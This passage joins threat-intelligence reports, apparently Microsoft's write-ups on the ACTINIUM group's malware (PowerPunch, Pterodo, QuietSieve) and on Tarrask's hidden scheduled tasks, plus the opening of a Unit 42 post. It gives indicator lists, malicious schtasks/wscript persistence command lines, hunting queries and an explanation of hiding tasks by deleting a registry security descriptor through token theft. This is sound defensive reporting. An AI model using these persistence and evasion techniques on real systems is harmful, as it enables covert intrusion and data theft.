flag to specify the VBScript engine (and to effectively ignore the random file extension assigned to the payload) and the /b flag to mute alerts and errors. The following is an example: The terms deep-grounded, deerfield, and defiance above are used as the name of a scheduled task, a folder name, and a file name, respectively. Terms generated from the wordlist, like those in the example above, have been generated and used on multiple targets and are also used to generate subdomains as previously described. These generated terms may frustrate network defenders as the names of scheduled tasks, file names, and others are almost never the same for each target. We have compiled a list of the terms that MSTIC has observed in the IOCs provided below. Network defenders may be able to use the said list to determine whether a scheduled task, file, or domain is likely to warrant further investigation. Maintaining persistence and gathering intelligence MSTIC assesses that the primary outcome of activities by ACTINIUM is persistent access to networks of perceived value for the purpose of intelligence collection. Despite seemingly wide deployment of malicious capabilities in the region, follow-on activities by the group occur in areas of discrete interest, indicating a possible review of targeting. Following initial access, MSTIC has observed ACTINIUM deploying tools such as Pterodo to gain interactive access to target networks. In some cases, MSTIC has observed deployments of UltraVNC to enable a more interactive connection to a target. UltraVNC is a legitimate and fully-featured open-source remote desktop application that allows ACTINIUM to easily interact with a target host without relying on custom, malicious binaries that may be detected and removed by security products. Malware and capabilities ACTINIUM employs a variety of malware families with assessed objectives to deploy remotely retrieved or embedded payloads before execution. MSTIC has analyzed several of these payloads and tracks the rapidly developing binaries as the following families: DinoTrain, DesertDown, DilongTrash, ObfuBerry, ObfuMerry, and PowerPunch. The PowerPunch malware family is an excellent example of an agile and evolving sequence of malicious code and is further explained below. The actor quickly develops new obfuscated and lightweight capabilities to deploy more advanced malware later. These are fast-moving targets with a high degree of variance. Analyzed payloads regularly place a strong emphasis on obfuscated VBScripts. As an attack, this is not a novel approach, yet it continues to prove successful as antivirus solutions must consistently adapt to keep pace with a very agile threat. 4/18 The most feature-rich malware family we track relating to ACTINIUM activity is known widely within the industry as Pterodo . In the following sections, we break down Pterodo further and review a binary called QuietSieve that is specifically geared toward file exfiltration and monitoring. PowerPunch The droppers and downloader family names tend to be fast-moving targets due to the heavy use of obfuscation and simple functionality. For example, PowerPunch is executed from within PowerShell as a one-line command, encoded using Base64: These binaries also exhibit features that rely on data from the compromised host to inform encryption of the next stage. PowerPunch also provides an excellent example of this. In the following code snippet, the VolumeSerialNumber of the host serves as the basis for a multibyte XOR key. The key is applied to an executable payload downloaded directly from adversary infrastructure, allowing for an encryption key unique to the target host (highlighted variables names were changed for clarity). Ultimately, a next-stage executable is remotely retrieved and dropped to disk prior to execution. Pterodo MSTIC has also reviewed several variants of ACTINIUM s more fully-featured Pterodo malware. A couple of features play a direct role in this malware s ability to evade detection and thwart analysis: its use of a dynamic Windows function hashing algorithm to map necessary API components, and an on-demand scheme for decrypting needed data and freeing allocated heap space when used. The function hashing algorithm is used to map a hash value of a given function name to its corresponding location in memory using a process known as Run-Time Dynamic Linking. Pre-computed hashes are passed to the hashing algorithm alongside the Windows library containing the related function name. Each function name within the library is hashed; when a match is found, its address is saved. 5/18 The hashing algorithm itself has historically not been terribly complex, and when considering an example such as SHA-256 51b9e03db53b2d583f66e47af56bb0146630f8a175d4a439369045038d6d2a45, it may be emulated using Python logic as follows: When pre-computing these hashes over different Windows DLLs commonly used in schemes like this, it is possible to map out these hash values and the corresponding Windows function name using open-source tools like the MITRE malchive. We have seen this behavior in many different malware families before. The hashing algorithm has been consistent within those families, allowing analysis like this to scale forward. Unfortunately, in Pterodo s case, there is far too much drift in the algorithm for it to be used reliably. The algorithm has been different in many of the samples we ve reviewed. Additionally, the application of this technique seems to vary among samples. Some samples have been observed to use it for most Windows function calls, while others have used it very sparingly. However, Windows libraries need to be loaded before function hashes are computed. The names of these libraries and other strings required by the malware are recovered using an on-demand scheme that decrypts the data, uses it, and immediately frees the associated heap space once it is no longer needed. 6/18 As seen in the screenshot above, data is passed into a decryption function before being used in a call to GetModuleHandleA. Before the hashing routine uses the module handle, the decrypted string representing the function name has its associated heap space freed and may be later overwritten. However, the reconstruction of this data is straightforward within the two core decryption algorithms we have observed. The first one relies on an encrypted blob whose first value is interpreted as the size of the decrypted data in DWORD (four-byte) chunks. This data is decrypted four bytes at a time, with the last byte being the encrypted content. Each encrypted byte is XOR using a multibyte key sequence unique to each sample reviewed. In our example, the ASCII key sequence 39d84sdfjh is applied to the content above to produce the module name Kernel32. A slight deviation from this approach was also uncovered in samples such as SHA-256 2042a2feb4d9f54d65d7579a0afba9ee1c6d22e29127991fbf34ea3da1659904, where the decryption algorithm is passed data representing two WORD values: one mapping to the offset of the encrypted content within the malware and another representing the length. These parameters are recovered, and a much longer multibyte XOR sequence is applied to the encrypted content after the starting index is computed. Application of either approach allows us to gain a greater level of analysis into strings used by the malware. Continuing with the approach used by the previously cited example, we can apply the multibyte XOR key over the entire encrypted data space, resulting in the following content: 7/18 8/18 Pterodo has been observed to be a constantly evolving malware family with a range of capabilities intended to make analysis more difficult. By applying our understanding, we can expose more malware elements to further advance mitigation and detection efforts. QuietSieve The QuietSieve malware family refers to a series of heavily-obfuscated .NET binaries specifically designed to steal information from the target host. Before enumerating target files on the host, QuietSieve first checks for connectivity by sending a test ping to 8.8.8.8 (Google public DNS). The creation of the buffer for the ICMP request is done manually within QuietSieve and contains all null values for the 32-byte data portion of the ICMP packet. If this check succeeds, a randomlygenerated alphanumeric prefix is created and combined with the callback domain as a subdomain before an initial request is made over HTTPS. If the connection is successful, the following file name extensions are searched for within removable, fixed, or networked drives: doc, docx, xls, rtf, odt, txt, jpg, pdf, rar, zip, and 7z. Candidate files are queued up for upload. They are also inventoried via a specific MD5 hash value computed based on attributes of the target file and compromised host, such as the volume serial number, file size, and last write timestamp assigned to the file. Computed hashes are logged to an inventory log file that serves as a reference point checked by the malware to avoid duplicate exfiltration. QuietSieve will also take screenshots of the compromised host approximately every five minutes and save them in the user s local Application Data folder under Temp\SymbolSourceSymbols\icons or Temp\ModeAuto\icons using the format yyyy-MM-dd-HH-mm along with the jpg file extension. While the QuietSieve malware family is primarily geared towards the exfiltration of data from the compromised host, it can also receive and execute a remote payload from the operator. These payloads are written to the user s Application Data folder with a random alphanumeric name and are executed in a hidden window. Microsoft will continue to monitor ACTINIUM activity and implement protections for our customers. Indicators of compromise (IOCs) The following IOCs were observed during our investigation. We encourage our customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems. Analyst note on ACTINIUM IOCs: ACTINIUM registers and administers a large amount of infrastructure. It s not always possible to accurately determine what malicious component connects to which C2 infrastructure. MSTIC has observed cases where the same C2 is used for different components (for example, corolain[.]ru). Example malware samples and associated infrastructure QuietSieve 9/18 Indicator Type Comments Jolotras[.]ru Domain name QuietSieve, associated with multiple malware samples Moolin[.]ru Domain name QuietSieve, associated with multiple malware samples 0afce2247ffb53783259b7dc5a0afe04d918767c991db2da906277898fd80be5 SHA256 QuietSieve, communicates with moolin[.]ru domain(s) e4d309735f5326a193844772fc65b186fd673436efab7c6fed9eb7e3d01b6f19 SHA256 QuietSieve, communicates with moolin[.]ru domain(s) f211e0eb49990edbb5de2bcf2f573ea6a0b6f3549e772fd16bf7cc214d924824 SHA256 QuietSieve, communicates with jolotras[.]ru domain(s) 6d4b97e74abf499fa983b73a1e6957eadb2ec6a83e206fff1ab863448e4262c6 SHA256 QuietSieve, communicates with moolin[.]ru domain(s) eb1724d14397de8f9dca4720dada0195ebb99d72427703cabcb47b174a3bfea2 SHA256 QuietSieve, communicates with moolin[.]ru domain(s) e4d309735f5326a193844772fc65b186fd673436efab7c6fed9eb7e3d01b6f19 SHA256 QuietSieve, communicates with moolin[.]ru domain(s) b92dcbacbaaf0a05c805d31762cd4e45c912ba940c57b982939d79731cf97217 SHA256 QuietSieve, communicates with moolin[.]ru domain(s) b3d68268bd4bb14b6d412cef2b12ae4f2a385c36600676c1a9988cf1e9256877 SHA256 QuietSieve, communicates with moolin[.]ru domain(s) a6867e9086a8f713a962238204a3266185de2cc3c662fba8d79f0e9b22ce8dd6 SHA256 QuietSieve, communicates with moolin[.]ru domain(s) a01e12988448a5b26d1d1adecc2dda539b5842f6a7044f8803a52c8bb714cdb0 SHA256 QuietSieve, communicates with moolin[.]ru domain(s) 8a8c1a292eeb404407a9fe90430663a6d17767e49d52107b60bc229c090a0ae9 SHA256 QuietSieve, communicates with moolin[.]ru domain(s) 15099fc6aea1961164954033b397d773ebf4b3ef7a5567feb064329be6236a01 SHA256 QuietSieve, communicates with moolin[.]ru domain(s) 137bfe2977b719d92b87699d93c0f140d659e990b482bbc5301085003c2bd58c SHA256 QuietSieve, communicates with jolotras[.]ru domain(s) 0e5b4e578788760701630a810d1920d510015367bf90c1eab4373d0c48a921d9 SHA256 QuietSieve, communicates with moolin[.]ru domain(s) 0afce2247ffb53783259b7dc5a0afe04d918767c991db2da906277898fd80be5 SHA256 QuietSieve, communicates with moolin[.]ru domain(s) Pterodo 10/18 Indicator Type Comments gorigan[.]ru Domain name Pterodo teroba[.]ru Domain name Pterodo krashand[.]ru Domain name Pterodo, associated with multiple malware samples 51b9e03db53b2d583f66e47af56bb0146630f8a175d4a439369045038d6d2a45 SHA256 Pterodo, communicates with krashand[.]ru domain(s) 2042a2feb4d9f54d65d7579a0afba9ee1c6d22e29127991fbf34ea3da1659904 SHA256 Pterodo, communicates with gorigan[.]ru domain(s) 425ee82f20eb87e07a0d4f77adb72bf3377051365be203ee6ded37b399094f20 SHA256 Pterodo, communicates with krashand[.]ru domain(s) fe068e324cd4175f857dfee4c23512ed01f3abbf8b6138b715caa1ba5e9486c0 SHA256 Pterodo, communicates with krashand[.]ru domain(s) 798cd714cf9e352c1e9de3d48971a366b09eeffb3513950fd64737d882c25a38 SHA256 Pterodo, communicates with krashand[.]ru domain(s) ef9b39705decbb85269518705053e7f4087758eea6bab4ba9135bf1ae922b2ea SHA256 Pterodo, communicates with krashand[.]ru domain(s) a87e9d5e03db793a0c7b8e8e197d14745265422f05e6e50867cdfbd150d0c016 SHA256 Pterodo, communicates with krashand[.]ru domain(s) 2042a2feb4d9f54d65d7579a0afba9ee1c6d22e29127991fbf34ea3da1659904 SHA256 Pterodo, communicates with gorigan[.]ru domain(s) c68eb2fa929373cac727764d2cc5ca94f19a0ec7fd8c0876b98f946e72d9fa03 SHA256 Pterodo, communicates with gorigan[.]ru domain(s) 3b6445cf6f8e9e70cb0fff35d723fec8203375d67cbd67c9a672cddc02a7ff99 SHA256 Pterodo bae9895ad4e392990a09b1b8a01e424a7ad3769e538ac693919d1b99989f0cb3 SHA256 Pterodo, communicates with teroba[.]ru domain(s) c6e092316f61d2fc9c84299dd224a6e419e74c98c51a44023f8f72530ac28fdc SHA256 Pterodo, communicates with teroba[.]ru domain(s) cb0d151d930b17f6376c18aa15fd976eac53d6f07d065fc27c40b466e3bc49aa SHA256 Pterodo 8ed03b1d544444b42385e79cd17c796fefae71d140b146d0757a3960d8ba3cba SHA256 Pterodo, communicates with teroba[.]ru domain(s) Various stagers and downloaders (DinoTrain, DilongTrash, Obfuberry, PowerPunch, DessertDown, and Obfumerry) 11/18 Indicator Type Comments %windir%\System32\schtasks.exe /CREATE /sc minute /mo 12 /tn deepness /tr wscript.exe %PUBLIC%\Pictures\deepness.fly //e:VBScript Command line DessertDown artifact (note generated word used deepness, this will vary) wscript.exe C:\Users\[username]\continue.wav //e:VBScript //b Command line DinoTrain artifact (note generated words used [username] and continue, these will vary) alacritas[.]ru Domain name PowerPunch libellus[.]ru Domain name PowerPunch brontaga[.]ru Domain name DessertDown gortomalo[.]ru Domain name DessertDown and possibly other ACTINIUM capabilities corolain[.]ru Domain name Used for PowerShell cmdlets goloser[.]ru Domain name Used for PowerShell cmdlets delicacy[.]delicate[.]maizuko[.]ru Domain name DinoTrain 0f9d723c3023a6af3e5522f63f649c7d6a8cb2727ec092e0b38ee76cd1bbf1c4 SHA-256 DessertDown, communicates with brontaga[.]ru domain(s) bf90d5db47e6ba3a1840976b6bb88a8d0dfe97dfe02c9ca31b7be4018816d232 SHA-256 DessertDown, communicates with gloritapa[.]ru and gortomalo[.]ru domains b9b41fbbd646f11d148cface520a5d4e0ec502ba85c67b00668e239082a302e3 SHA-256 DinoTrain, communicates with delicacy[.]delicate[.]maizuko[.]ru c05f4c5a6bb940e94782e07cf276fc103a6acca365ba28e7b4db09b5bbc01e58 SHA-256 DilongTrash, communicates with privigna[.]ru 3cbe7d544ef4c8ff8e5c1e101dbdf5316d0cfbe32658d8b9209f922309162bcf SHA-256 ObfuBerry 3bab73a7ba6b84d9c070bb7f71daab5b40fcb6ee0387b67be51e978a47c25439 SHA-256 ObfuMerry ACTINIUM-owned infrastructure Domains The following list represents the most recent domains used by ACTINIUM as of this writing. Many of ACTINIUM capabilities communicate with generated subdomains following the patterns discussed earlier. A list of commonly observed words in these generated names is available in the next section, although it should be noted that this list is not exhaustive. 12/18 acetica[.]online lenatara[.]ru oyoida[.]ru riontos[.]ru nerabis[.]ru adeltorr[.]ru ouichi[.]ru dushnilo[.]ru hostarama[.]ru jokolor[.]ru arianat[.]ru cryptonas[.]ru akowaika[.]ru artisola[.]ru nokratis[.]ru bartion[.]ru konoatari[.]ru torogat[.]ru boltorg[.]ru machiwo[.]ru bibliota[.]ru moonilar[.]ru inosokof[.]ru draagotan[.]ru kolotran[.]ru bilorotka[.]ru reapart[.]ru holotran[.]ru golofir[.]ru volotras[.]ru dokkade[.]ru nomukou[.]ru huskari[.]ru goloser[.]ru milopoda[.]ru goshita[.]ru mirotas[.]ru utemomac[.]ru gortomalo[.]ru zerotask[.]ru hajimari[.]ru ismetroh[.]ru hortoban[.]ru gloritapa[.]ru vasitron[.]ru libellus[.]ru vositra[.]ru hopfar[.]ru bobotal[.]ru nopaster[.]ru meshatr[.]ru fartopart[.]ru koprotas[.]ru historap[.]ru dangeti[.]ru nakushita[.]ru atasareru[.]ru golorta[.]ru jabilen[.]ru haguret[.]ru naletovo[.]ru uzumoreru[.]ru screato[.]ru herumot[.]ru klotrast[.]ru nattanda[.]ru sumikko[.]ru bellinor[.]ru saturapa[.]ru sundabokun[.]ru nokitrav[.]ru vivaldar[.]ru nokata[.]ru fortfar[.]ru rawaumi[.]ru nonima[.]ru ikaraur[.]ru nemoiti[.]ru dudocilo[.]ru wokoras[.]ru onihik[.]ru ruhodo[.]ru mudarist[.]ru gongorat[.]ru yazibo[.]ru pertolka[.]ru asdorta[.]ru holorta[.]ru gortisir[.]ru jupirest[.]ru ruchkalo[.]ru kolorato[.]ru kucart[.]ru filorta[.]ru vostilo[.]ru shitemo[.]ru warau[.]ru koltorist[.]ru gortova[.]ru lotorgas[.]ru sorawo[.]ru kimiga[.]ru hokoldar[.]ru amaniwa[.]ru masshir[.]ru telefar[.]ru kippuno[.]ru midiatr[.]ru nastorlam[.]ru martusi[.]ru urovista[.]ru kroviti[.]ru bibikaro[.]ru hilotrapa[.]ru kovalsko[.]ru vadilops[.]ru hibigaru[.]ru gribata[.]ru alebont[.]ru nukegaran[.]ru zvustro[.]ru lotorda[.]ru vnestri[.]ru dortisto[.]ru Wordlist of observed terms ACTINIUM likely generates strings for use in various components from a wordlist. A sample of terms observed in use by ACTINIUM can be found below. ACTINIUM has been observed to use these terms for: Subdomains for their C2 infrastructure Scheduled task names Folder names Malware file names ACTINIUM also likely generates strings for other uses where they attempt to disguise their activities. 13/18 abrupt allegiance allen alley allied allocation allow allowance allowing allows alloy alluded ally almond almost alongside alphabet already alter alteration although always amazing amber ambitious amends amid among beverley beware beyond bicycle bigger bike bikes bill billion claimed clank clap clash clasped classes classroom cough could councilman countenance counteract countries country courage courageous cronos debts deceive deceived decent deception decide decided decidedly decision decisive deck declaration declare declared decline declined decoy decrease decree decrepit dedicate deduction deed deep deeper deep-going deep-green deep-groaning deep-grounded deep-grown deephaven deepish deep-kiss deep-laden deep-laid deeplier deep-lunged deeply deep-lying deepmouthed deep-musing deep-naked deepnesses deep-persuading deep-piled deep-pointed deep-pondering deep-premeditated deep-read deep-revolving deep-rooted deep-rooting deep-sea deep-searching deep-seated deep-seatedness deep-set deep-settled deep-sighted deep-sinking deep-skirted deepsome deep-sore deep-stapled deep-sunken deep-sweet deep-tangled deep-throated deep-toned deep-transported deep-troubled deep-vaulted deep-versed deep-voiced deep-water deepwaterman deepwatermen deep-worn deep-wounded deer deerberry deerbrook deerdog deerdre deere deerflies deerflys deerfood deerhorn deering deerlet deer-mouse deers deerstalker deery deeryards default defeated defect defective defence defend defense defensive defiance defiant deficiency defined definite definitely defy degrade degree deity dejected delay delayed delete deliberate deliberately delicious delight delighted delightful delirium deliverance delivered delivery deluge delve demand demanded demolition demonstrate demonstration dene denial denied denote dense dentist deny depart departed department departments departure depended dependent deplore deploy deployment depression 14/18 depth depths deputy derisive derived descendant descended descent describe description desert deserter deserts deserve deserves design designed designer designs desire desolate despair desperate desperately despise despite dessert destitute destroyed destroyer detach detached detail endanger ending endless endlessly endure enemies energy enforce faithless fake falcon fame familiar family famous fancied gleaming glide glimpse gloom gloomy glory glossy gloves glow glue gnaw goat goes integer integral intelligence intelligent intend descendant descended descent describe description desert interested interesting interference island isolation issue issued itself jack jackal jacket jackson jake james january jaws jazz jealous jealousy jean jeanne jeans jeer jeff jelly jerk jersey jerusalem jessamy jessie jest jewel jeweller jewellery jewels jill joan jobs join joining joint joke joking jolly jonas joseph josephine josie joyful joyfully judge judgment juice juicy july jumble jumped jumper june jungle junior junk just justly juvenile lover lower loyalty luck lucy luggage luke lumber lump lunch luncheon lustre luxurious luxury mankind manners mansion margaret margarita margin marriage marvellous masquerade naturally nature naughty navigation navy near neat necessarily necklace needle needlework neglect parlor parlour parrots parsley participate parties parting penknife perceive percent percy perfect perform performed perfume pleasantly pressure presume pretence pretend 15/18 pretty prevail prevailed prevhost prey price priest primary prince princess printing pumpkin punctual punish punishment pupil purchase purchaser pure purge purpose purse pursuing references reflected regions registered registration registry regret regular regularly regulate reject relations relative relax release reliable salary sale salmon salt salts salvation same sand scarce scarcely scared scarf scarlet scattered scene scenery scenes scent scheme scholars schoolboy science scold scope scorn scornful scoundrel scout scowled shoe shone shooting sorting sought sound sounding soup sour source stool stoop stooped stop stopped stopper storm stout strawberries stream strengthen stretched strict striking string strings striped stripes stroke stroll NOTE: These indicators should not be considered exhaustive for this observed activity. Detections Microsoft 365 Defender Microsoft Defender Antivirus Microsoft Defender for Endpoint Alerts with the following titles in the security center can indicate threat activity on your network: ACTINIUM activity group The following alerts might also indicate threat activity associated with this threat. These alerts, however, may be triggered by unrelated threat activity. We re listing them here because we recommend that these alerts be investigated and remediated immediately given the severity of the attacks. Suspicious obfuscation or deobfuscation activity Suspicious script execution A script with suspicious content was observed PowerShell dropped a suspicious file on the machine Anomalous process executing encoded command Suspicious dynamic link library loaded An anomalous scheduled task was created An uncommon file was created and added to a Run Key Suspicious screen capture activity Staging of sensitive data Suspicious process transferring data to external network 16/18 Microsoft Defender for Office 365 Microsoft Defender for Office 365 customers can use the email entity page to search for and visualize the potential impact of these attacks to your organization. The following email security alerts may indicate threat activity associated with this threat. These alerts, however, may be triggered by unrelated threat activity. We re listing them here because we recommend that these alerts be investigated and remediated immediately given the severity of the attacks. Email messages containing malicious file removed after delivery Email messages containing malware removed after delivery Email messages removed after delivery Email reported by user as malware or phish Malware campaign detected after delivery Malware campaign detected and blocked Malware not zapped because ZAP is disabled Advanced hunting queries Microsoft Sentinel To locate possible ACTINIUM activity mentioned in this blog post, Microsoft Sentinel customers can use the queries detailed below: Identify ACTINIUM IOCs This query identifies a match across various data feeds for IOCs related to ACTINIUM: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/ActiniumFeb2022.yaml Identify antivirus detection of ACTINIUM activity This query identifies a match in the Security Alert table for Microsoft Defender Antivirus detections related to the ACTINIUM actor: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityAlert/ActiniumAVHits.yaml 17/18 Microsoft 365 Defender To locate related activity, Microsoft 365 Defender customers can run the following advanced hunting queries: Find ACTINIUM-related emails Use this query to look for look for emails that may have been received in your environment related to ACTINIUM. EmailEvents | where SenderMailFromDomain =~ 'who-int.info' or SenderFromDomain =~ 'who-int.info' Surface ACTINIUM-related alerts Use this query to look for alerts related to ACTINIUM alerts. AlertInfo | where Title in~('ACTINIUM activity group') Surface devices with ACTINIUM related alerts and gather additional device alert information Use this query to look for threat activity associated with ACTINIUM alerts. // Get any devices with ACTINIUM related Alert Activity let DevicesACTINIUMAlerts = AlertInfo | where Title in~('ACTINIUM activity group') // Join in evidence information | join AlertEvidence on AlertId | where DeviceId != "" | summarize by DeviceId, Title; // Get additional alert activity for each device AlertEvidence | where DeviceId in(DevicesACTINIUMAlerts) // Add additional info | join kind=leftouter AlertInfo on AlertId | summarize DeviceAlerts = make_set(Title), AlertIDs = make_set(AlertId) by DeviceId, bin(Timestamp, 1d) Surface suspicious MSHTA process execution Use this query to look for MSHTA launching with command lines referencing DLLs in the AppData\Roaming path. DeviceProcessEvents | where FileName =~ "mshta.exe" | where ProcessCommandLine has_all (".dll", "Roaming") | where ProcessCommandLine contains @"Roaming\j" | extend DLLName = extract(@"[jJ][a-z]{1,12}\.dll", 0, ProcessCommandLine) Surface suspicious Scheduled Task activity Use this query to look for Scheduled Tasks that may relate to ACTINIUM activity. DeviceProcessEvents | where ProcessCommandLine has_all ("schtasks.exe", "create", "wscript", "e:vbscript", ".wav") 18/18 Tarrask malware uses scheduled tasks for defense evasion microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion April 12, 2022 As Microsoft continues to track the high-priority state-sponsored threat actor HAFNIUM, new activity has been uncovered that leverages unpatched zero-day vulnerabilities as initial vectors. The Microsoft Detection and Response Team (DART) in collaboration with the Microsoft Threat Intelligence Center (MSTIC) identified a multi-stage attack targeting the Zoho Manage Engine Rest API authentication bypass vulnerability to initially implant a Godzilla web shell with similar properties detailed by the Unit42 team in a previous blog. Microsoft observed HAFNIUM from August 2021 to February 2022, target those in the telecommunication, internet service provider and data services sector, expanding on targeted sectors observed from their earlier operations conducted in Spring 2021. Further investigation reveals forensic artifacts of the usage of Impacket tooling for lateral movement and execution and the discovery of a defense evasion malware called Tarrask that creates hidden scheduled tasks, and subsequent actions to remove the task attributes, to conceal the scheduled tasks from traditional means of identification. The blog outlines the simplicity of the malware technique Tarrask uses, while highlighting that scheduled task abuse is a very common method of persistence and defense evasion and an enticing one, at that. In this post, we will demonstrate how threat actors create scheduled tasks, how they cover their tracks, how the malware s evasion techniques are used to maintain and ensure persistence on systems, and how to protect against this tactic. Right on schedule: Maintaining persistence via scheduled tasks Windows Task Scheduler is a service that allows users to perform automated tasks (scheduled tasks) on a chosen computer for legitimate administrative purposes (e.g., scheduled updates for browsers and other applications). Throughout the course of our research, we ve found that threat actors commonly make use of this service to maintain persistence within a Windows environment. ve noted that the Tarrask malware generates several artifacts upon the creation of a scheduled task, whether using the Task Scheduler GUI or the schtasks command line utility. Profiling the use of either of these tools can aid investigators in tracking this persistence mechanism. The following registry keys are created upon creation of a new task: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\TASK_NAME HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\ {GUID} Figure 1. Tarrask malware creates new registry keys along with the creation of new scheduled tasks The first subkey, created within the Tree path, matches the name of the scheduled task. The values created within it (Id, Index, and SD) contain metadata for task registration within the system. The second subkey, created within the Tasks path, is a GUID mapping to the Id value found in the Tree key. The values created within (Actions, Path, Triggers, etc.) contain the basic parameters necessary to facilitate execution of the task. To demonstrate the value in the artifacts generated, shown in the following figures, we have created My Special Task which is set to execute the binary C:\Windows\System32\calc.exe on a regular interval. Figure 2. XML file matches name of the task Similar information is also stored within an extensionless XML file created within C:\Windows\System32\Tasks, where the name of the file matches the name of the task. This is displayed in Figure 2, where we name the task My Special Task as an example. Figure 3. Extensionless XML file Note that the Actions value stored within the Tasks\{GUID} key points to the command line associated with the task. In Figure 2, there is a reference to C:\Windows\System32\calc.exe within the Edit Binary Value dialog, and there is a path referenced within the section in the extensionless XML file in Figure 3. The fact that this value is stored within two different locations can prove useful in recovering information regarding the task s purpose in the event the threat actor has taken steps to cover their tracks. Finally, there are two Windows event logs that record actions related to the creation and operation of Scheduled Tasks Event ID 4698 within the Security.evtx log, and the Microsoft-Windows-TaskScheduler/Operational.evtx log. Neither of these are audited by default and must be explicitly turned on by an administrator. Microsoft-WindowsTaskScheduler/Maintenance.evtx will exist by default, but only contains maintenance-related information for the Task Scheduler engine. Effectively hiding scheduled tasks In this scenario, the threat actor created a scheduled task named WinUpdate via HackTool:Win64/Tarrask in order to re-establish any dropped connections to their command and control (C&C) infrastructure. This resulted in the creation of the registry keys and values described in the earlier section, however, the threat actor deleted the SD value within the Tree registry path. Figure 4. Deletion of the security descriptor (SD) value In this context, SD refers to the Security Descriptor, which determines the users allowed to run the task. Interestingly, removal of this value results in the task disappearing from schtasks /query and Task Scheduler. The task is effectively hidden unless an examiner manually inspects the aforementioned registry paths. Issuing a reg delete command to delete the SD value will result in an Access Denied error even when run from an elevated command prompt. Deletion must occur within the context of the SYSTEM user. It is for this reason that the Tarrask malware utilized token theft to obtain the security permissions associated with the lsass.exe process. Upon execution of the token theft, the malware could operate with the same privileges as LSASS, making the deletion possible. Figure 5. Successful deletion of SD in Command Prompt It is also important to note that the threat actor could have chosen to completely remove the two registry keys within Tree and Tasks, and the XML file created within C:\Windows\System32\Tasks. This would effectively remove the ondisk artifacts associated with the scheduled task, but the task would continue to run according to the defined triggers until the system rebooted, or until the associated svchost.exe process responsible for executing the task was terminated. s possible the threat actor wanted to ensure persistence across reboots and therefore chose not to perform those steps, instead deleting only the SD value; however, we also speculate that the threat actor was unaware that the task would continue to run even after these components were removed. Recommendations and cyber resilience guidance Job or task schedulers are services that have been present in the Windows operating system for many years. The attacks we described signify how the threat actor HAFNIUM displays a unique understanding of the Windows subsystem and uses this expertise to mask activities on targeted endpoints to maintain persistence on affected systems and hide in plain sight. As such, we recognize that scheduled tasks are an effective tool for adversaries to automate certain tasks while achieving persistence, which brings us to raising awareness about this oft-overlooked technique. We also want to bring attention to the fact that threat actors may utilize this method of evasion to maintain access to high value targets in a manner that will likely remain undetected. This could be especially problematic for systems that are infrequently rebooted (e.g., critical systems such as domain controllers, database servers, etc.). The techniques used by the actor and described in this post can be mitigated or detected by adopting the following recommendations and security guidelines1: Enumerate your Windows environment registry hives looking in the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree registry hive and identify any scheduled tasks without SD (security descriptor) Value within the Task Key. Perform analysis on these tasks as needed. Modify your audit policy to identify Scheduled Tasks actions by enabling logging TaskOperational within Microsoft-Windows-TaskScheduler/Operational. Apply the recommended Microsoft audit policy settings suitable to your environment. Enable and centralize the following Task Scheduler logs. Even if the tasks are hidden , these logs track key events relating to them that could lead you to discovering a well-hidden persistence mechanism Event ID 4698 within the Security.evtx log Microsoft-Windows-TaskScheduler/Operational.evtx log The threat actors in this campaign used hidden scheduled tasks to maintain access to critical assets exposed to the internet by regularly re-establishing outbound communications with C&C infrastructure. Remain vigilant and monitor uncommon behavior of your outbound communications by ensuring that monitoring and alerting for these connections from these critical Tier 0 and Tier 1 assets is in place. Indicators of compromise (IOCs) The following list provides IOCs observed during our investigation. We encourage customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems. SHA256 File Name Details 54660bd327c9b9d60a5b45cc59477c75b4a8e2266d988da8ed9956bcc95e6795 winupdate.exe, date.exe, win.exe Tarrask a3baacffb7c74dc43bd4624a6abcd1c311e70a46b40dcc695b180556a9aa3bb2 windowsvc.exe, winsrv.exe, WinSvc.exe, ScriptRun.exe, Unique.exe, ngcsvc.exe, ligolo_windows_amd64.exe, proxy.zip, wshqos.exe, cert.exe, ldaputility.exe Ligolo 7e0f350864fb919917914b380da8d9b218139f61ab5e9b28b41ab94c2477b16d CertCert.jsp, Cert0365.jsp Godzilla shell Microsoft 365 Defender Detections How customers can identify this in Microsoft 365 Defender: Microsoft Defender Antivirus Microsoft Defender for Endpoint on detects implants and components as the following: HackTool:Win64/Tarrask!MSR HackTool:Win64/Ligolo!MSR Microsoft Defender for Endpoint detects malicious behavior observed as the following: Behavior:Win32/ScheduledTaskHide.A Microsoft Sentinel Detections Microsoft Sentinel customers can use the following detection queries to look for this activity: Tarrask malware hash IOC: This query identifies a hash match related to Tarrask malware across various data sources. Scheduled Task Hide: This query uses Windows Security Events to detect attempts by malware to hide the scheduled task by deleting the SD (Security Descriptor) value. Removal of SD value results in the scheduled task disappearing from schtasks /query and Task Scheduler. Microsoft Defender AV Hits: This query looks for Microsoft Defender AV detections related to Tarrask malware using SecurityAlerts table. In Microsoft Sentinel the SecurityAlerts table includes only the Device Name of the affected device, this query joins the DeviceInfo table to clearly connect other information such as Device group, IP, logged on users etc. This way, the Microsoft Sentinel user can have all the pertinent device info in one view for the alerts. The technical information contained in this article is provided for general informational and educational purposes only and is not a substitute for professional advice. Accordingly, before taking any action based upon such information, we encourage you to consult with the appropriate professionals. We do not provide any kind of guarantee of a certain outcome or result based on the information provided. Therefore, the use or reliance of any information contained in this article is solely at your own risk. Russia s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine (Updated Feb. 16) unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021 February 3, 2022 By Unit 42 February 3, 2022 at 1:00 PM Category: Government, Malware Tags: Advanced URL Filtering, APT, Cortex, DNS security, Gamaredon, next-generation firewall, primitive bear, Ukraine, WildFire This post is also available in: (Japanese) Updated Feb. 16 to include new information on Gamaredon infrastructure and Indicators of Compromise (IoCs). Executive Summary Since November, geopolitical tensions between Russia and Ukraine have escalated dramatically. It is estimated that Russia has now amassed over 100,000 troops on Ukraine's eastern border, 